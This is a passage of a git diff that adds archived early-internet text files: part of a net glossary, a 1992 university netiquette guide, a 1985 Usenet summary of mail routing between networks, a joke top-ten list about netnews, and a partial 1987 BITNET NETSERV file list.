in a given + FTP directory or which provide other useful information + (such as how to use FTP). + +Real Soon Now A vague term used to describe when something will + actually happen. + +RFC Request for Comments. A series of documents that + describe various technical aspects of the Internet. + +ROTFL Rolling on the Floor Laughing. How to respond to a + particularly funny comment. + +ROT13 A simple way to encode bad jokes, movie reviews that give + away the ending, pornography, etc. Essentially, each + letter in a message is replace by the letter 13 spaces + away from it in the alphabet. There are online decoders + to read these; nn and rn have them built in. + +RTFM Read the, uh, you know, Manual. Often used in flames + against people who ask computer-related questions that + could be easily answered with a few minutes with a + manual. More politely: RTM. + +Screen capture A part of your communications software that + opens a file on your computer and saves to it whatever + scrolls past on the screen while connected to a host + system. + +Server A computer that can distribute information or files + automatically in response to specifically worded e-mail + requests. + +Shareware Software that is freely available on the Net. If you + like and use the software, you should send in the fee + requested by the author, whose name and address will be + found in a file distributed with the software. + +.sig file Sometimes, .signature file. A file that, when placed in + your home directory on your public-access site, will + automatically be appended to every Usenet posting you + write. + +.sig quote A profound/witty/quizzical/whatever quote that you + include in your .sig file. + +Signal-to-noise The amount of useful information to be found in a given +ratio Usenet newsgroup. Often used derogatorily, for example: + "the signal-to-noise ratio in this newsgroup is pretty low." + +SIMTEL20 The White Sands Missile Range used to maintain a giant + collection of free and low-cost software of all kinds, + which was "mirrored" to numerous other ftp sites on the + Net. In the fall of 1993, the Air Force decided it had + better things to do than maintain a free software library + and shut it down. But the collection lives on, now + maintained by a Michigan company. + +SLIP Serial Line Internet Protocol. Used to turn home + computers into Internet sites over a phone line. + +Smiley A way to describe emotion online. Look at this with + your head tilted to the left :-). There are scores + of these smileys, from grumpy to quizzical. + +Snail mail Mail that comes through a slot in your front door or a + box mounted outside your house. + +Spam Message posted to numerous Usenet newsgroups to which + it has absolutely no relevance (also a verb). + +Sysadmin The system administrator; the person who runs a host + system or public-access site. + +Sysop A system operator. Somebody who runs a bulletin-board + system. + +TANSTAAFL There Ain't No Such Thing as a Free Lunch. + +TCP/IP Transmission Control Protocol/Internet Protocol. The + particular system for transferring information over a + computer network that is at the heart of the Internet. + +Telnet A program that lets you connect to other computers on + the Internet. + +Terminal There are several methods for determining how your +emulation keystrokes and screen interact with a public-access + site's operating system. Most communications programs + offer a choice of "emulations" that let you mimic the + keyboard that would normally be attached directly to + the host-system computer. + +UUCP Unix-to-Unix CoPy. A method for transferring Usenet + postings and e-mail that requires far fewer net resources + than TCP/IP, but which can result in considerably slower + transfer times. + +Upload Copy a file from your computer to a host system. + +URL Uniform Resource Locator. An address on the World-Wide + Web. + +User name On most host systems, the first time you connect you + are asked to supply a one-word user name. This can be + any combination of letters and numbers. + +VT100 Another terminal-emulation system. Supported by many + communications program, it is the most common one in + use on the Net. VT102 is a newer version. + +WWW World-Wide Web or the Web. diff --git a/textfiles.com/internet/netiquette b/textfiles.com/internet/netiquette new file mode 100644 index 00000000..5f4836a9 --- /dev/null +++ b/textfiles.com/internet/netiquette @@ -0,0 +1,463 @@ + + + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + THE NET + USER GUIDELINES AND NETIQUETTE + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + + By: Arlene H. Rinaldi + Computer User Services + Florida Atlantic University + September 3, 1992 + + + + + Page 2 + + + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + + PREFACE + + + +The formulation of this guide was motivated by a need to develop +guidelines for all Internet protocols to ensure that users at Florida +Atlantic University realize the Internet capabilities as a resource +available, with the provision that they are responsible in how they access +or transmit information through the Internet (The Net). + +It is assumed that the reader has some familiarization with the terms and +protocols that are referenced in this document. + +Permission to duplicate or distribute this document is granted with the +provision that the document remains intact. + +For additions, comments, suggestions and requests for revisions, please +send E-mail to RINALDI@ACC.FAU.EDU. + + + + + + + + + + Page 3 + + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + + ACKNOWLEDGEMENTS + + + +Much of this guide was developed from comments and suggestions from +NETTRAIN@UBVM (formally NET-TRAIN) LISTSERV subscribers and from several +sources available on The Net: + + + + A special acknowledgment to Wes Morgan, University of + Kentucky Engineering Computing Center, for his advice + and recommendations. + + + Paul F. Lambert, Bentley College; Philip M. Howard, Saint + Mary's University; Gordon Swan, Florida Atlantic University; + Pauline Kartrude, Florida Atlantic University; Beth Taney, + Penn State; Debbie Shaffer, Penn State and USDA-CIT; Henry + DeVries, Cornell; Jim Milles, SLU Law Library; Martin Raish, + State University of New York at Binghamton; Steve Cisler, + Apple Corporation; Tom Zillner, Wisconsin Interlibrary + Services; Tom Goodrich, Stanford University; Jim Gerland, + State University of NY at Buffalo; Ros Leibensperger, Cornell; + Paul White, Northern Michigan University; Marilyn S. Welb, + Penn State, Judith Hopkins, State University of NY at Buffalo, + Ros McCarthy. + + + + + + + + + Page 4 + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + + INTRODUCTION + + + + +It is essential for each user on the network to recognize his/her +responsibility in having access to vast services, sites, systems and +people. The user is ultimately responsible for his/her actions in +accessing network services. + +The "Internet" or "The Net", is not a single network; rather, it is a +group of thousands of individual networks which have chosen to allow +traffic to pass among them. The traffic sent out to the Internet may +actually traverse several different networks before it reaches its +destination. Therefore, users involved in this internetworking must be +aware of the load placed on other participating networks. + +As a user of the network, you may be allowed to access other networks +(and/or the computer systems attached to those networks). Each network or +system has its own set of policies and procedures. Actions which are +routinely allowed on one network/system may be controlled, or even +forbidden, on other networks. It is the users responsibility to abide by +the policies and procedures of these other networks/systems. Remember, +the fact that a user *can* perform a particular action does not imply that +they *should* take that action. + +The use of the network is a privilege, not a right, which may temporarily +be revoked at any time for abusive conduct. Such conduct would include, +the placing of unlawful information on a system, the use of abusive or +otherwise objectionable language in either public or private messages, the +sending of messages that are likely to result in the loss of recipients' +work or systems, the sending of "Chain letters," or "broadcast" messages +to lists or individuals, and any other types of use which would cause +congestion of the networks or otherwise interfere with the work of +others.. + +Permanent revocations can result from disciplinary actions taken by a +panel judiciary board called upon to investigate network abuses. + + + + Page 5 + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + ELECTRONIC MAIL AND FILES + USER RESPONSIBILITY + + + +The content and maintenance of a user's electronic mailbox is the users +responsibility: + +- Check E-mail daily and remain within your limited disk quota. + +- Delete unwanted messages immediately since they take up disk + storage. + +- Keep messages remaining in your electronic mailbox to a minimum. + +- Mail messages can be downloaded or extracted to files then to disks + for future reference. + +- Never assume that your E-mail can be read by no one except + yourself; others may be able to read or access your mail. Never + send or keep anything that you would not mind seeing on + the evening news. + + +The content and maintenance of a user's disk storage area is the users +responsibility: + +- Keep files to a minimum. Files should be downloaded to your + personal computer's hard drive or to disks. + +- Routinely and frequently virus scan your system, especially when + receiving or downloading files from other systems to prevent the + spread of a virus. + +- Your files may be accessible by persons with system privileges, + so do not maintain anything private in your disk storage area. + + + + + + Page 6 + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + TELNET PROTOCOL + +- Many telnetable services have documentation files available online + (or via ftp). Download and review instructions locally as opposed + to tying up ports trying to figure out the system. + +- Be courteous to other users wishing to seek information or the + institution might revoke Telnet access; remain only on the system + long enough to get your information, then exit off of the system. + +- Screen captured data or information should be downloaded to your + personal computer's hard disk or to disks. + + + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + ANONYMOUS FTP - FILE TRANSFER PROTOCOL + + +- Users should respond to the PASSWORD prompt with their E-mail + address, so if that site chooses, it can track the level of FTP + usage. If your E-mail address causes an error, enter GUEST for the + next PASSWORD prompt. + +- When possible limit downloads, especially large downloads (1 Meg+), + for after normal business hours locally and for the remote ftp host; + preferably late in the evening. + +- Adhere to time restrictions as requested by archive sites. Think in + terms of the current time at the site that's being visited, not of + local time. + +- Copy downloaded files to your personal computer hard drive or disks + to remain within disk quota. + +- When possible, inquiries to Archie should be in mail form. + +- It's the user's responsibility when downloading programs, to check + for copyright or licensing agreements. If the program is beneficial + to your use, pay any authors registration fee. If there is any + doubt, don't copy it; there have been many occasions on which + copyrighted software has found its way into ftp archives. Support + for any downloaded programs should be requested from the originator + of the application. Remove unwanted programs from your systems. + + + Page 7 + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + ELECTRONIC COMMUNICATIONS + (E-mail, LISTSERV groups, Mailing lists, and Usenet) + + +- Keep paragraphs and messages short and to the point. + +- Focus on one subject per message. + +- Be professional and careful what you say about others. E-mail is + easily forwarded. + +- Cite all quotes, references and sources. + +- Limit line length and avoid control characters. + +- Follow chain of command procedures for corresponding with superiors. + + For example, don't send a complaint via E-mail directly to the "top" + just because you can. + +- Don't use the academic networks for commercial or proprietary work. + +- Include your signature at the bottom of E-mail messages. Your + signature footer should include your name, position, affiliation and + Internet and/or BITNET addresses and should not exceed more than 4 + lines. Optional information could include your address and phone + number. + +- Capitalize words only to highlight an important point or to + distinguish a title or heading. *Asterisks* surrounding a word + also can be used to make a stronger point. + +- Use discretion when forwarding mail to group addresses or + distribution lists. It's preferable to reference the source of a + document and provide instructions on how to obtain a copy. + +- It is considered extremely rude to forward personal email to mailing + lists or Usenet without the original author's permission. + +- Be careful when using sarcasm and humor. Without face to face + communications your joke may be viewed as criticism. + +- Respect copyright and license agreements. + +- When quoting another person, edit out whatever isn't directly + applicable to your reply. Including the entire article will annoy + those reading it. + +- Abbreviate when possible: + + Examples: + - IMHO = in my humble/honest opinion + - FYI = for your information + - BTW = by the way + - Flame = antagonistic criticism + - :-) = happy face for humor + + + + Page 8 + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + LISTSERV AND MAILING LIST DISCUSSION GROUPS + +Some mailing lists have low rates of traffic, others can flood your +mailbox with several hundred mail messages per day. Numerous incoming +messages from various listservers or mailing lists by multiple users, +requires extensive system processing which can tie up valuable resources. +Subscription to Interest Groups or Discussion Lists should be kept to a +minimum and should not exceed what your disk quota can handle, or you for +that matter. + +- Keep your questions and comments relevant to the focus of the + discussion group. + +- Resist the temptation to "flame" others on the list. Remember that + these discussions are "public" and meant for constructive exchanges. + Treat the others on the list as you would want them to treat you. + +- When posting a question to the discussion group, request that + responses be directed to you personally. Post a summary or answer + to your question to the group. + +- When replying to a message posted to a discussion group, check the + address to be certain it's going to the intended location (person or + group). + +- When signing up for a group, save your subscription confirmation + letter for reference. + +- When going away for more than a week, unsubscribe or suspend mail + from any mailing lists or LISTSERV services. + +- If you can respond to someone else's question, do so through email. + Twenty people answering the same question on a large list can fill + your mailbox (and those of everyone else on the list) quickly. + +- Use your own personal E-mail account, don't subscribe using a shared + office account. + +- Occassionaly subscribers to the list who are not familiar with + proper netiquette will submit requests to SUBSCRIBE or UNSUBSCRIBE + directly to the list itself. Be tolerant of this activity, and + possibly provide some useful advice as opposed to being critical. + +- Other people on the list are not interested in your desire to be + added or deleted. Any requests regarding administrative tasks such + as being added or removed from a list should be made to the + appropriate area, not the list itself. Mail for these types of + requests should be sent to the following respectively: + + LISTSERV GROUPS - LISTSERV@host + + + MAILING LISTS - listname-REQUEST@host + or + listname-OWNER@host + + + + + + + + Page 9 + +For either Mailing Lists or LISTSERV groups, to subscribe or unsubscribe, +in the body of the message include: + + SUBSCRIBE listname yourfirstname yourlastname + (To be added to the subscription) +or + UNSUBSCRIBE listname + (To be removed from the subscription) + + + + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + THE TEN COMMANDMENTS FOR COMPUTER ETHICS + from the Computer Ethics Institute + + + + 1. Thou shalt not use a computer to harm other people. + + 2. Thou shalt not interfere with other people's computer work. + + 3. Thou shalt not snoop around in other people's files. + + 4. Thou shalt not use a computer to steal. + + 5. Thou shalt not use a computer to bear false witness. + + 6. Thou shalt not use or copy software for which you have not + paid. + + 7. Thou shalt not use other people's computer resources without + authorization. + + 8. Thou shalt not appropriate other people's intellectual output. + + 9. Thou shalt think about the social consequences of the program + you write. + + 10. Thou shalt use a computer in ways that show consideration and + respect. + + + Page 10 + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + BIBLIOGRAPHY + + Kehoe, Brendan P. "A Beginner's Guide to the Internet: Zen and the +Art of the Internet", First Edition, January 1992. + + Shapiro, Norman, et al. "Towards an Ethics and Etiquette for +Electronic Mail"., Santa Monica, CA: Rand Corporation (publication +R-3283-NSF/RC), 1985. + + Von Rospach, Chuq. "A Primer on How to Work With the USENET +Community" + + Horton, Mark, Spafford, Gene. "Rules of conduct on Usenet" + + "A Guide to Electronic Communication & Network Etiquette", revised +and submitted by Joan Gargano, edited by Ivars Balkits, Computing services +University of California Davis. + + "Heartland Free-Net Registered User Guidelines", Bradley University, +Peoria, Il. + + "Terms and Conditions of Membership and Affiliation", CREN +Information Center, October 25, 1990 + + "Electronic Mail and Networks: New Tools for Institutional Research +and Planning." by Dan Updegrove, John Muffo and Jack Dunn, University of +Pennsylvania. + + "Exploring Internet Training Series, Module 1- Exploring Internet: +Using your Computer to Communicate", by Deborah Shaffer, ES-USDA, CIT and +Pennsylvania State University, Henry DeVries; Extension Electronic +Technology Group, Cornell University; Gregory Parham, ES_USDA, CIT. + + "Exploring Internet Training Series, Module 2- Mail-based +Information Delivery: Alamanac and Listservs". by Deborah Shaffer, ES- +USDA, CIT and Pennsylavia State University; Henry DeVries, Extension +Electronic Technology Group, Cornell University; Gregory Parham, ES_USDA, +CIT. + + + + + + +. diff --git a/textfiles.com/internet/netmail.info b/textfiles.com/internet/netmail.info new file mode 100644 index 00000000..215c546e --- /dev/null +++ b/textfiles.com/internet/netmail.info @@ -0,0 +1,152 @@ +Relay-Version: version B 2.10.2 9/18/84; site calmasd.UUCP +Posting-Version: version B 2.10.2 9/18/84; site ritcv.UUCP +Path: calmasd!sdcc6!sdcc3!sdcsvax!dcdwest!ittatc!decvax!genrad!panda!talcott!harvard!cmcl2!seismo!rochester!ritcv!spw2562 +From: spw2562@ritcv.UUCP +Newsgroups: net.general +Subject: internet mailing summary +Message-ID: <9072@ritcv.UUCP> +Date: 25 Nov 85 18:43:12 GMT +Date-Received: 28 Nov 85 13:54:48 GMT +Reply-To: spw2562@ritcv.UUCP (snoopy) +Followup-To: net.followup +Distribution: net +Organization: Rochester Institute of Technology, Rochester, NY +Lines: 158 +Keywords: internet, arpa, usenet, uucp, bitnet, phonenet, csnet, mailnet, dec enet, janet + + +Here's my promised posting of internetwork mailing.. There was a +HUGE amount of mail in response to the original posting.. ppl are +really interested in this... It took me 3 days to sort out all +the mail... 8-) +___________________________________________________________________________ +Here is a summary of the current information at NETSERV about some +of the networks that are connected to the ARPA Internet (CSNET X25Net, +Arpanet, Mailnet, etc.) and to CSNET PhoneNet. + +Please note that the use of the ARPA Internet is restricted to authorized +individuals and is regulated by the Defense Communications Agency. +========================================================================== + +Internet ==> Internet user@host.ARPA + +Internet ==> PhoneNet user%host@csnet-relay.ARPA +PhoneNet ==> Internet user@host + Note: CSNET-RELAY rewrites the address and + appends ".ARPA" to the host name. + +Internet ==> BITNET user%host.BITNET@wiscvm.ARPA +BITNET ==> Internet BSMTP with "user@host.ARPA" + NOTE: SEE GATEWAY BSMTP FOR DETAILS OF BSMTP. + +Internet ==> DEC ENET user%host.DEC@decwrl.ARPA +DEC ENET ==> Internet RHEA::DECWRL::"user@host.ARPA" + +Internet ==> JANET user%host.JANET@ucl-cs.ARPA +JANET ==> Internet user%host.ARPA@ucl-cs + +Internet ==> MAILNET user%host.MAILNET@mit-multics.ARPA +MAILNET ==> Internet user%host.ARPA@mit-multics + +Internet ==> UUCP user%host.UUCP@seismo.ARPA or + user%host.UUCP@harvard.ARPA + Note: The seismo and harvard hosts use the + "pathalias" software to find the correct UUCP + routing address. +UUCP ==> Internet hosta!...!hostz!seismo!user@host.ARPA or + hosta!...!hostz!harvard!user@host.ARPA + Note: "hosta" is the sender's nearest neighbor. + The sender must specify a UUCP routing path to + "hostz", a host with a direct connection to some + UUCP->Internet gateway, such as "seismo" or + "harvard". + +Internet ==> XEROX user.registry@XEROX.ARPA + Note: Do NOT use "%" between "user" and "registry". + Some Xerox registries are "pa" and "wbst". +XEROX ==> Internet user@host.ARPA + +PhoneNet ==> PhoneNet user@host + Note: CSNET-RELAY rewrites the address and + appends ".CSNET" to the host name. + +PhoneNet ==> Internet user@host + Note: CSNET-RELAY rewrites the address and + appends ".ARPA" to the host name. +Internet ==> PhoneNet user%host@csnet-relay.ARPA + +PhoneNet ==> BITNET user%host.BITNET@csnet-relay + Note: Some PhoneNet hosts have software that + allows "user@host.BITNET". Ask your CSNET liaison. +BITNET ==> PhoneNet BSMTP with "user%host@csnet-relay.ARPA" + Note: See Info Message sites-8 for details of BSMTP. + +PhoneNet ==> DEC ENET user%host.DEC@decwrl +DEC ENET ==> PhoneNet RHEA::DECWRL::"user%host@csnet-relay.ARPA" + +Phonenet ==> JANET user%host.JANET@ucl-cs +JANET ==> Phonenet user%host%csnet-relay.ARPA@ucl-cs + +PhoneNet ==> MAILNET user%host.MAILNET@csnet-relay + Note: Some PhoneNet hosts have software that + allows "user@host.MAILNET". Ask your CSNET liaison. +MAILNET ==> PhoneNet user%host%csnet-relay.ARPA@mit-multics + +PhoneNet ==> UUCP user%host.UUCP@seismo or + user%host.UUCP@harvard + Note: The seismo and harvard hosts use the + "pathalias" software to find the correct UUCP + routing address. +UUCP ==> PhoneNet hosta!...!hostz!seismo!user%host@csnet-relay.ARPA or + hosta!...!hostz!harvard!user%host@csnet-relay.ARPA + Note: "hosta" is the sender's nearest neighbor. + The sender must specify a UUCP routing path to + "hostz", a host with a direct connection to some + UUCP->Internet gateway, such as "seismo" or + "harvard". + +PhoneNet ==> XEROX user.registry@XEROX + Note: Do NOT use "%" between "user" and "registry". + Some Xerox registries are "pa" and "wbst". +XEROX ==> PhoneNet user%host@csnet-relay.ARPA + +[All messages from PhoneNet sites are relayed through CSNET-RELAY.ARPA. +Thanks to Richard M. Alderson, III for corrections +to MAILNET information in the original CSNET-FORUM article. --CDM] + +Arpanet ==> BITNET user%node.BITNET@gateway + gateway = UCBVAX.ARPA or WISCVM.ARPA + +Arpanet ==> CSNet user%node.CSNET@csnet-relay.ARPA + +Arpanet ==> Usenet ...!user@gateway +Usenet ==> Arpanet ...!gateway!user@arpanode + gateway = seismo or ucbvax + +Usenet ==> BITNET ...!psuvax1!user%bitnode.BITNET + ...!psuvax1!user@bitnode.BITNET + ...!gateway!bitnode.BITNET!user + gateway = psuvax1 or talcott + +BITNET ==> Usenet MAILER@PSUVAX1 using BSMTP + +Lots of ppl inquired about this one... + +To send from BITNET to Usenet, construct a file as follows... + +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv Start of file +HELO yournode.BITNET +VERB ON +TICK 0001 +MAIL FROM: +RCPT TO: +DATA +Date: Current date goes here +From: youruid@yournode.BITNET +To: user@node.UUCP +Subject: gateway + +< Put the text of your message here. The blank line between the sebject and +< the beginning of you text is necessary. End you text with a '.' on a line +< by itself, and end the mailing with 'QUIT' on a line, as shown below. + diff --git a/textfiles.com/internet/netnews.10 b/textfiles.com/internet/netnews.10 new file mode 100644 index 00000000..9f47f19c --- /dev/null +++ b/textfiles.com/internet/netnews.10 @@ -0,0 +1,42 @@ +From: rcl@cunixc.cc.columbia.edu (Robert C Lehman) +Newsgroups: rec.arts.tv +Subject: An Important Top Ten List. +Date: 21 Aug 89 13:53:57 GMT +Reply-To: rcl@cunixc.cc.columbia.edu (Robert C Lehman) +Organization: Columbia University + +Top Ten Problems with Netnews: + +10. Too many people think they're lawyers and know everything about + copyright laws and how (and when) they're enforced. + +9. Too many people don't know how to use the "k" key when using rn. + +8. Too many people use notes to read news. + +7. Too many people who work for AT&T post messages. + +6. Cher doesn't have netnews access and can't reread her favorite + top ten lists from "Late Night With David Letterman". + +5. Too many people use vi to compose their messages. Conseqeuently, + too many people think vi is really an editor. On the other hand, + not enough people use "cat" to compose their messages. + +4. Too many people who post messages live in states where they haven't + won a World Series since about the time the Rangers won the Stanley Cup. + +3. No one from Madison Square Garden reads rec.sport.hockey. + +2. People who like the Mets post obnoxious messages since Mookie Wilson + has been traded. + +And the number one problem with news: + +1. Too many people take netnews too seriously. + +-Rob + + + + \ No newline at end of file diff --git a/textfiles.com/internet/netserv b/textfiles.com/internet/netserv new file mode 100644 index 00000000..861d3b10 --- /dev/null +++ b/textfiles.com/internet/netserv @@ -0,0 +1,466 @@ +O=====|====|====|====|====|====|====|====|====|====|====|====|====|====|====|=== +O=====<====<====<====<====<====<====<====<====<====<====<====<====<====<====<=== +Date sent: 4-NOV-1987 09:54:10.77, +* NETSERV FILELIST for NETSERV at BITNIC. +* NETSERV Filelist +* This file lists all files that can be retrieved from NETSERV- +* via the 'GET filename filetype' command.D +* It does also contain pointers to additional filelists which are* +* provided for specific kinds of files. +* If an entry shows nrecs=0 the file is not available.6 +* Recfm x/A indicates ASA print control characters. +* Lines flagged with a > in column 1 describe generic fileids,A +* not real files. The generic file lines are required to allow3 +* storing new files matching the generic fileid. +* This filelist may be sorted in columns 47 to 63 to get a list of filesI +* in the order of their updates. Sorting in descending order shows the, +* most recently updated files at the top. +* ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +* The GET/PUT authorization codes shown with each file entry describe. +* who is authorized to GET or PUT the file: +* ALL = everybodyG +* PRV = privileged users ( users supplied with a password )G +* ( or any node administrator. )G +* NAD = Node Administrators ( = NADs of the countries supported)G +* ( by this NETSERV installation. )G +* ( = Contact Person in Nodelist. )! +* CTL = NETSERV Controllers +*: BIT = 'ECKCU@CUNYVM', /* BITNET coordination (Arthur Ecock) */K +*: 'ARTY@BITNIC', /* (Arthur Ecock) */K +*: 'DOCUMENT@BITNIC' /* (BITNIC people)*/K +*: CHT = 'ERIC@FRECP11', /* Eric Thomas, Ecole Centrale de Paris*/K +*: 'ERIC@CEARN' /* -- ditto -- on another node */K +*: CON = 'BITLIB@YALEVMX', /* Chris Condon, Yale, New Haven, CT */K +*: 'BITLIB@YALEVM' /* -- ditto-- on new node */K +*: ECA = 'K000163@AEARN' /* EARN country coordinator Austria */K +*: ECB = 'LAAAA04@BLEKUL11', /* EARN country coordinator Belgium */! +*: 'LAAAA05@BLEKUL11',! +*: 'DURASSE@BNANDP11', +*: 'DURASSE@BNANDP10'K +*: ECC = 'MARTIN@CEARN', /* EARN country coordinator Switzerland*/K +*: 'OHM$C3@GEN' /* alternate userid and node for Martin*/K +*: ECD = 'PASCH@DHDIBM1', /* EARN country coordinator Germany */K +*: 'PASCH@DEARN', /* alternate node for Pasch */K +*: 'CASTER@DS0IBM1', /* alternate country coordinator Germ. */K +*: 'MEYER@DEARN' /* alternate country coordinator Germ. */K +*: ECE = 'EARNMAIN@EB0UB011' /* EARN country coordinator Spain */K +*: ECF = 'DELHAYE@FRMOP11', /* EARN country coordinator France */K +*: 'BRUCH@FRMOP11', /* EARN country coordinator France */K +*: 'PINSE@FRPOI11' /* EARN country coordinator France */K +*: ECH = 'U001212@HEARN' /* EARN country coordinator Netherlands*/K +*: ECI = 'EARNMNT@ICNUCEVM', /* EARN country coordinator Italy */ +*: 'VNETMNT@ICNUCEVM'K +*: ECL = 'DURASSE@BNANDP11', /* EARN country coordinator Luxembourg */ +*: 'DURASSE@BNANDP10'K +*: ECN = 'LASSE@NORUNIT' /* EARN country coordinator Norway */K +*: ECP = 'PARENTE@PTEARN', /* EARN country coordinator Portugal */ +*: 'AMORIM@PTEARN'K +*: ECS = 'QZDLT@SEARN' /* EARN country coordinator Sweden */K +*: EDK = 'NEUFRODE@DKEARN', /* EARN country coordinator Denmark */K +*: 'NEUPL@NEUVM1' /* EARN country coordinator Denmark */K +*: EGB = 'MFR@UKACRL', /* EARN country coordinator Great Brit.*/ +*: 'PEB@UKACRL', +*: 'PEB@CERNVM'K +*: EGR = 'PANTELIS@GREARN', /* EARN country coordinator Greece */ +*: 'POSTMAST&GREARN'L +*: EIC = 'ALIBERT@CIEARN', /* EARN country coordinator Ivory Coast */L +*: 'BRUCH@FRMOP11' /* alternate coordinator for Ivory Coast*/K +*: EIL = 'GADI@ISRAEARN', /* EARN country coordinator Israel */K +*: 'A19@TAUNIVM' /* EARN country coordinator Israel */K +*: EIR = 'EARNUCD@IRLEARN' /* EARN country coordinator Ireland */K +*: EIS = 'X001@ISEARN' /* EARN country coordinator Iceland */K +*: EMC = 'PASCH@DHDIBM1', /* EARN master coordinator */K +*: 'PASCH@DEARN' /* alternate node for Pasch */K +*: ESF = 'LK-JKO@FINHUT' /* EARN country coordinator Finland */K +*: ETR = 'AYTAC@TREARN', /* EARN country coordinator Turkey */ +*: 'SYSADM1@TREARN'K +*: MEY = 'MEYER@DEARN' /* Udo Meyer, GSI Darmstadt */K +*: NMC = 'PASCH@DHDIBM1', /* NETSERV Master Controller */ +*: 'PASCH@DEARN'K +*: NNA = 'ADMINSEC@CANADA01',/* NetNorth Administration Secretary */ +*: 'NACMAN@CANADA01', +*: 'UPDATE@CANADA01'K +*: NOR = 'EARNUCD@IRLEARN' /* Neill O'Reilly, Univ. Dublin */K +*: PAS = 'PASCH@DHDIBM1', /* Berthold Pasch, IBM Heidelberg */K +*: 'PASCH@DEARN' /* alternate node for Pasch */K +*: PEB = 'PEB@CERNVM', /* Paul Bryant, Rutherford Lab, UK */ +*: 'PEB@UKACRL'K +*: PFK = 'PFKEB@SLACVM' /* Paul Kunz, Stanford */K +*: STO = 'STOLER@DB0TUI11' /* Distributor of Waterloo library */K +*: SYL = 'GRZ027@DBNGMD21', /* Peter Sylvester, GMD Bonn */ +*: 'GRZ027@DDAGMD11'K +*: VSH = 'VSHANK@WEIZMANN', /* Henry Nussbacher, Weizmann Institute*/ +*: 'HANK@BARILVM' +* All Node Administrators can issue GET requests for files with a% +* get-authorization code of 'NAD'.G +* Only the responsible Node Administrator can issue PUT requests forD +* files pertaining to his/her node (filename=nodeid) and having a% +* put-authorization code of 'NAD'. +* ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +*************************************************************************K +* *K +* FILELIST declarations *K +* *K +*************************************************************************? +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +H NETSERV FILELIST B ALL NMC V 107 391 87/11/03 00:05:51 List of +available files +* Additional FILELISTs +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +H NETINIT FILELIST B PRV CTL V 96 37 87/02/10 00:00:25 List of +initialization filesM +K NETWORKS FILELIST B ALL NMC V 107 427 87/10/30 00:05:29 Info files +about other networksO +M NODEINFO FILELIST B ALL CTL V 105 56 87/02/10 00:00:23 List of node +information filesJ +H PROGRAMS FILELIST Z ALL NMC V 105 714 87/11/03 00:04:39 List of +available programs +H COUNTRY FILELIST B ALL CTL V . 0 ........ ........ List of +country files +*************************************************************************K +* *K +* NETSERV Reference Information *K +* *K +************************************************************************* +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +E NETSERV HELPFILE B ALL NMC V/A 93 2502 87/10/09 07:13:08 Help +Information fileN +L NETSERV MEMO86 B ALL NMC V/A 80 98 86/07/08 08:05:25 Information +about NETSERV changes in 86N +L NETSERV MEMO87 B ALL NMC V/A 73 75 87/10/01 15:29:04 Information +about NETSERV changes in 87J +H NETSERV REFCARD B ALL NMC V/A 73 177 87/09/30 14:06:10 Command +Reference Card +*************************************************************************K +* *K +* General EARN Information *K +* *K +************************************************************************* +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +H BITNET SERVERS B ALL CON V 83 569 87/11/01 16:11:41 List of +available serversK +I BITNET USERHELP B ALL CON V 79 343 87/05/06 10:14:00 Guide to +servers etc.J +H CONDUCT CODE B ALL EMC V/A 72 66 86/05/27 17:16:19 Code of +conduct for EARN usersM +K EARNBOD MEET8602 B ALL EMC V/A 88 649 87/02/23 08:05:35 Minutes of +EARN BOD meeting Oct.86N +L EARN CHARTER B ALL EMC V/A 80 137 86/10/21 12:53:19 Charter and +membership regulationsO +M EARN NEWS B ALL EMC V/A 73 51 87/07/01 17:22:20 Last news of +EARNN + EARN NEWS84 B ALL EMC V/A 78 241 85/11/05 17:49:02 News of 1984N + EARN NEWS85 B ALL EMC V/A 78 390 86/01/21 15:53:14 News of 1985N + EARN NEWS86 B ALL EMC V/A 75 219 87/01/08 09:41:09 News of 1986N + EARN NEWS87 B ALL EMC V/A 73 119 87/10/01 15:22:56 News of 1987N +L EARNREF SUMMARY B ALL EMC V/A 93 2330 86/09/11 12:11:38 EARN Pocket +Reference SummaryN +L EARN2ISO MIGRATN B ALL PEB V 72 493 86/05/30 08:18:21 EARN to ISO +Migration ProposalA + HOLIDAY CALENDAR B ALL NOR V 80 94 87/04/13 13:59:41N +L NAMING CONVENTN B ALL EMC V/A 79 98 87/02/02 10:10:03 Node naming +conventionsP +N SUPER COMPUTER B ALL VSH V 80 36 87/01/08 06:43:19 List of super +computers in BITNET +*************************************************************************K +* *K +* NAMES files (usable for VM/SP and MVS-TSO/E) *K +* *K +************************************************************************* +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +E EARNCORD NAMES B ALL EMC V 207 399 87/11/02 09:12:10 EARN +Coordinator NAMES fileP +N AEARNNAD NAMES B ALL ECA V 121 80 87/07/31 